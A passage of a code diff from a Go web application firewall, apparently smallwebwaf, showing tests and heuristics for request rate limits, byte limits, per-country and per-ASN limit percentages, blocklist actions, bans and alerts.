t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
tc.rateLimitPercent)
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
tc.bytesLimitPercent)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// The first request breaks the limit, and bans the client; the log line
|
||||
// gives the 0.
|
||||
line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||
t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||
line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
|
||||
unknownLimitPercent)
|
||||
}
|
||||
|
||||
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestLowestPercentageApplies(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
from string
|
||||
// want is the log line's rate_limit_percent, as percentText gives it.
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"the country's",
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf + "," + countryTagDEQuarter},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
},
|
||||
{
|
||||
"the AS number's",
|
||||
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEHalf},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
},
|
||||
{
|
||||
"the AS number's, the first of two alike",
|
||||
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEQuarter},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
},
|
||||
{
|
||||
"that for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownLimitPercent,
|
||||
},
|
||||
{
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
"the AS number's, for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||
noCountry, "25 from " + tagLimitPercent,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{rateLimitPerMinute: fourAMinute}
|
||||
maps.Copy(env, tc.env)
|
||||
s, _, _ := startWithLookups(t, env)
|
||||
|
||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
tc.want)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
|
||||
})
|
||||
|
||||
// One the lookup database does not hold, and one on a private address,
|
||||
// which is never looked up: the third request of each breaks half of 4.
|
||||
for _, from := range []string{unplaced, "10.0.0.8"} {
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
|
||||
// One in a country has the whole limit.
|
||||
for range 3 {
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// Once the time the request waits for its answer is up, the client
|
||||
// counts as without a country, and its zero allowance refuses the
|
||||
// request.
|
||||
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
||||
|
||||
line := out.requestLine(t)
|
||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"0 from "+unknownLimitPercent)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const timeout = 3 * time.Second
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting, value string
|
||||
waits bool
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, true},
|
||||
{tagLimitPercent, countryTagDEHalf, true},
|
||||
{tagDeny, denyKP, true},
|
||||
// A tag the lookup does not give needs no answer.
|
||||
{tagLimitPercent, "vpn:50", false},
|
||||
{tagDeny, "vpn", false},
|
||||
{asnBytesPercent, asnDEHalf, true},
|
||||
{countryBytesPercent, countryDEHalf, true},
|
||||
{unknownLimitPercent, "99", true},
|
||||
{asnLimitPercentURL, asnURL, true},
|
||||
// At 100, its default, it lowers no limit.
|
||||
{unknownLimitPercent, "100", false},
|
||||
} {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||
})
|
||||
began := time.Now()
|
||||
|
||||
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
|
||||
|
||||
want := time.Duration(0)
|
||||
if tc.waits {
|
||||
want = timeout
|
||||
}
|
||||
|
||||
if waited := time.Since(began); waited != want {
|
||||
t.Errorf("the request waited %s for its answer, want %s", waited, want)
|
||||
}
|
||||
|
||||
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// The bubble's clock stops once this function returns, so the
|
||||
// request to GeoJS, which a request that did not wait leaves
|
||||
// under way, has to be abandoned before then.
|
||||
time.Sleep(timeout)
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// before is how many uploads come before the one that breaks a
|
||||
// limit, which is answered with status and logged with action.
|
||||
before int
|
||||
status int
|
||||
action string
|
||||
// reason and want are the ban's reason, and its notes' limit
|
||||
// percentage, as percentText gives it.
|
||||
reason, want string
|
||||
}{
|
||||
{
|
||||
// A quarter of 12 requests a minute is 3: the fourth breaks it.
|
||||
"a rate limit",
|
||||
map[string]string{rateLimitPerMinute: "12", tagLimitPercent: asnTagDEQuarter},
|
||||
3, http.StatusForbidden, requestlog.ActionClientIsRateLimited,
|
||||
"requests per minute over the limit of 3", "25 from " + tagLimitPercent,
|
||||
},
|
||||
{
|
||||
// The byte limits' percentage, not the rate limits'.
|
||||
"a byte limit",
|
||||
map[string]string{
|
||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||
asnBytesPercent: asnDEHalf,
|
||||
},
|
||||
0, http.StatusOK, requestlog.ActionForward,
|
||||
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, queue := startWithLookups(t, tc.env)
|
||||
|
||||
for range tc.before {
|
||||
s.uploadFrom(fromDE)
|
||||
}
|
||||
|
||||
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
|
||||
tc.status, tc.action)
|
||||
|
||||
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
||||
if len(held) != 1 {
|
||||
t.Fatalf("bans %+v, want one", held)
|
||||
}
|
||||
|
||||
notes := held[0].Notes
|
||||
if held[0].Reason != tc.reason {
|
||||
t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
|
||||
}
|
||||
|
||||
wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
|
||||
notes.LimitPercentSetting, tc.want)
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 {
|
||||
t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
|
||||
}
|
||||
|
||||
alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||
wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
|
||||
alerted.LimitPercentSetting, tc.want)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// startWithLookups is startWithLookupsAndClock for a test that needs no
|
||||
// clock.
|
||||
func startWithLookups(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
s, _, server, queue := startWithLookupsAndClock(t, env)
|
||||
|
||||
return s, server, queue
|
||||
}
|
||||
|
||||
// startWithLookupsAndClock is startAppWithAlerts in front of
|
||||
// readAndAnswer, with the settings in env on top of clients looked up in a
|
||||
// lookup database, which places fromDE and fromKP in the AS numbers and
|
||||
// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no
|
||||
// country, and no other address.
|
||||
func startWithLookupsAndClock(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||
fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
|
||||
fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
|
||||
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
|
||||
})
|
||||
|
||||
settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
return startAppWithAlerts(t, readAndAnswer, settings)
|
||||
}
|
||||
|
||||
// uploadFrom is upload from the client at from.
|
||||
func (s *sender) uploadFrom(from string) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
return line
|
||||
}
|
||||
|
||||
// serveFromDE hands a question about a request from fromDE with method and body
|
||||
// straight to server's handler, without the network, and returns once it is
|
||||
// answered.
|
||||
func serveFromDE(
|
||||
t *testing.T, server *discriminator.Server, method string, body io.Reader,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
|
||||
req.Header.Set(discriminator.ClientHeader, fromDE)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
|
||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||
}
|
||||
|
||||
// wantPercent checks a limit percentage that a log line or a ban's notes
|
||||
// give, what, and the setting that gave it, against want, as percentText
|
||||
// gives them.
|
||||
func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
|
||||
t.Helper()
|
||||
|
||||
if got := percentText(percent, setting); got != want {
|
||||
t.Errorf("%s is %s, want %s", what, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// percentText gives a limit percentage and the setting that gave it as
|
||||
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
||||
// left out.
|
||||
func percentText(percent *int64, setting string) string {
|
||||
switch {
|
||||
case percent == nil && setting == "":
|
||||
return none
|
||||
case percent == nil:
|
||||
return "none from " + setting
|
||||
default:
|
||||
return fmt.Sprintf("%d from %s", *percent, setting)
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||
// does nothing more. Its figure is the blocklists that list the client.
|
||||
type blocklists struct{}
|
||||
|
||||
func (blocklists) name() string { return "blocklists" }
|
||||
|
||||
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
listedBy := rq.h.lists.ListedBy(rq.client)
|
||||
rq.blocklisted = len(listedBy) > 0
|
||||
rq.noteListed(listedBy, "listed by a blocklist")
|
||||
|
||||
if !rq.refusedByBlocklists(listedBy) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"lists": listedBy},
|
||||
}
|
||||
}
|
||||
|
||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||
// it and SWW_BLOCKLIST_ACTION is deny.
|
||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// byteLimits counts the request's bytes, as countedBytes gives them, for the
|
||||
// byte limits, once its report has come, and notes the client's byte totals for
|
||||
// the log line; its requests stay there as the rate limits counted them. Only
|
||||
// an allowed request has them counted, and only one the rate limits counted; in
|
||||
// observe mode, not one that enforce mode would have refused. Bytes that take
|
||||
// the client over a byte limit, as its limit percentage for the byte limits
|
||||
// lowers it, break it, which bans the client; the response was passed on whole.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type byteLimits struct{}
|
||||
|
||||
func (byteLimits) name() string { return "byte_limits" }
|
||||
|
||||
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
if !rq.counted || rq.line.WouldAction != "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
|
||||
rq.countedBytes(), rq.bytesLimitPercent.percent)
|
||||
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
||||
rq.line.Counts.HourBytes = counts.HourBytes
|
||||
rq.line.Counts.DayBytes = counts.DayBytes
|
||||
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, rq.out.status)
|
||||
|
||||
return &verdict{figures: limitFigures(hit)}
|
||||
}
|
||||
@@ -1,540 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The byte limit settings.
|
||||
const (
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
)
|
||||
|
||||
// The values of SWW_BYTES_COUNT.
|
||||
const (
|
||||
countResponse = "response"
|
||||
countRequest = "request"
|
||||
countBoth = "both"
|
||||
)
|
||||
|
||||
const (
|
||||
// bodyBytes is the size of the body of each request these tests send
|
||||
// with one, and answerBytes that of each answer of the app.
|
||||
bodyBytes = 30
|
||||
answerBytes = 70
|
||||
// byteLimit is the byte limit these tests set, as a setting: a request
|
||||
// with a body and its answer, 100 bytes, go over it.
|
||||
byteLimit = "99"
|
||||
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
|
||||
minuteBytes = "minute_bytes"
|
||||
)
|
||||
|
||||
func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting, window string
|
||||
// apart is the time between the two requests, which the window
|
||||
// still covers.
|
||||
apart time.Duration
|
||||
}{
|
||||
{bytesLimitPerMinute, minute, 0},
|
||||
{bytesLimitPerHour, "hour", 2 * time.Minute},
|
||||
{bytesLimitPerDay, "day", 2 * time.Hour},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk := startWithAnswers(t, map[string]string{
|
||||
tc.setting: byteLimit, metricsToken: token,
|
||||
})
|
||||
|
||||
// 70 bytes are within the limit of 99.
|
||||
line, _ := s.download()
|
||||
if line.LimitHit != "" || line.Offence != "" {
|
||||
t.Errorf("log line has limit_hit %q and offence %q, want neither",
|
||||
line.LimitHit, line.Offence)
|
||||
}
|
||||
|
||||
// 140 bytes are over it. The response is passed on whole, and
|
||||
// then bans the client for an hour.
|
||||
clk.advance(tc.apart)
|
||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||
|
||||
line, got := s.download()
|
||||
if got.err != nil || len(got.body) != answerBytes ||
|
||||
line.ResponseBytes != answerBytes {
|
||||
t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
|
||||
"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
|
||||
}
|
||||
|
||||
if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
|
||||
line.BanExpires != expires {
|
||||
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||
"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
|
||||
line.BanExpires, tc.window, expires)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
|
||||
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
|
||||
|
||||
line, _ := s.download()
|
||||
wantAfterAnswerHeuristic(t, line, "", "null")
|
||||
|
||||
// Two answers of 70 bytes are over the limit of 99.
|
||||
line, _ = s.download()
|
||||
wantHeuristic(t, line, "", "null")
|
||||
wantAfterAnswerHeuristic(t, line, "byte_limits",
|
||||
`{"window": "minute", "count": 140, "limit": 99}`)
|
||||
}
|
||||
|
||||
func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"})
|
||||
|
||||
// The answer's 70 bytes are over the limit of 50 on their own.
|
||||
line, got := s.download()
|
||||
if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
|
||||
t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
|
||||
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{
|
||||
bytesLimitPerMinute: "50",
|
||||
})
|
||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||
|
||||
// The 70 bytes passed on before the app broke off are over the limit of
|
||||
// 50, and ban the client for an hour.
|
||||
line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
|
||||
requestlog.ActionForward)
|
||||
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
|
||||
line.BanExpires != expires {
|
||||
t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
|
||||
"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
|
||||
answerBytes, minuteBytes, expires)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string
|
||||
counted float64
|
||||
}{
|
||||
{countResponse, answerBytes},
|
||||
{countRequest, bodyBytes},
|
||||
{countBoth, bodyBytes + answerBytes},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
|
||||
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
||||
})
|
||||
|
||||
// The client sends 30 bytes and the app 70, each over the limit
|
||||
// of 29, which bans the client once the WebSocket has closed.
|
||||
line := s.webSocket()
|
||||
if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
|
||||
t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
|
||||
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string
|
||||
// each is the bytes each request counts, and breaking the request
|
||||
// that goes over the limit of 99.
|
||||
each float64
|
||||
breaking int
|
||||
}{
|
||||
{countResponse, answerBytes, 2},
|
||||
{countRequest, bodyBytes, 4},
|
||||
{countBoth, bodyBytes + answerBytes, 1},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
|
||||
})
|
||||
|
||||
for i := 1; i <= tc.breaking; i++ {
|
||||
line := s.upload()
|
||||
|
||||
want := ""
|
||||
if i == tc.breaking {
|
||||
want = minuteBytes
|
||||
}
|
||||
|
||||
counted := float64(i) * tc.each
|
||||
if line.LimitHit != want || line.Counts.MinuteBytes != counted {
|
||||
t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
|
||||
"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
|
||||
want, counted)
|
||||
}
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
bytesLimitPerMinute: byteLimit,
|
||||
allowNets: allowed,
|
||||
rateLimitExemptNets: exempt,
|
||||
rateLimitExemptPaths: "/assets/",
|
||||
})
|
||||
|
||||
// Each sends 200 bytes, none of which is counted.
|
||||
for _, sent := range []struct{ from, path string }{
|
||||
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
|
||||
} {
|
||||
for range 2 {
|
||||
line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
|
||||
uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
|
||||
if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
|
||||
t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
|
||||
sent.from, sent.path, line.fields["counts"], line.LimitHit)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A path that is not exempt is counted, and breaks the limit.
|
||||
line := s.upload()
|
||||
if line.LimitHit != minuteBytes {
|
||||
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
|
||||
})
|
||||
|
||||
for i := 1; i <= 3; i++ {
|
||||
line := s.upload()
|
||||
|
||||
counted := float64(i * (bodyBytes + answerBytes))
|
||||
if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
|
||||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
|
||||
t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
|
||||
"want none and %v bytes in each window", i, line.LimitHit,
|
||||
line.Counts, counted)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
bytesLimitPerMinute: byteLimit,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
|
||||
uploadBody, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: start,
|
||||
Expires: start.Add(time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
Reason: "bytes per minute over the limit of " + byteLimit,
|
||||
Notes: bans.Notes{
|
||||
Kind: "bytes",
|
||||
Limit: 99,
|
||||
Window: minute,
|
||||
Count: bodyBytes + answerBytes,
|
||||
// The request as it was answered, by the app.
|
||||
Request: bans.Request{
|
||||
Time: start,
|
||||
Method: http.MethodPost,
|
||||
Host: appHost,
|
||||
Path: "/upload?part=1",
|
||||
Status: http.StatusOK,
|
||||
UserAgent: userAgent,
|
||||
},
|
||||
Requests: 1,
|
||||
},
|
||||
}
|
||||
|
||||
got := server.Ledger.Bans(netblock)
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want,
|
||||
requestlog.FormatTime(want.Expires)))
|
||||
|
||||
if offences := historyOf(t, server, client).Offences.Limit; offences != 1 {
|
||||
t.Errorf("history counts %d offences for a limit, want 1", offences)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
mode: observe,
|
||||
bytesLimitPerMinute: byteLimit,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// No ban sets the client's counters back to zero, so each request
|
||||
// breaks the limit again. The answer is the app's either way, and the
|
||||
// alert for the ban is not sent twice within the cooldown.
|
||||
for range 2 {
|
||||
line := s.upload()
|
||||
wantWouldAction(t, line, "")
|
||||
|
||||
if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
|
||||
line.BanExpires != "" {
|
||||
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||
"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
|
||||
minuteBytes)
|
||||
}
|
||||
}
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
t.Errorf("the ledger holds %+v, want no ban", held)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 {
|
||||
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
|
||||
}
|
||||
|
||||
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
|
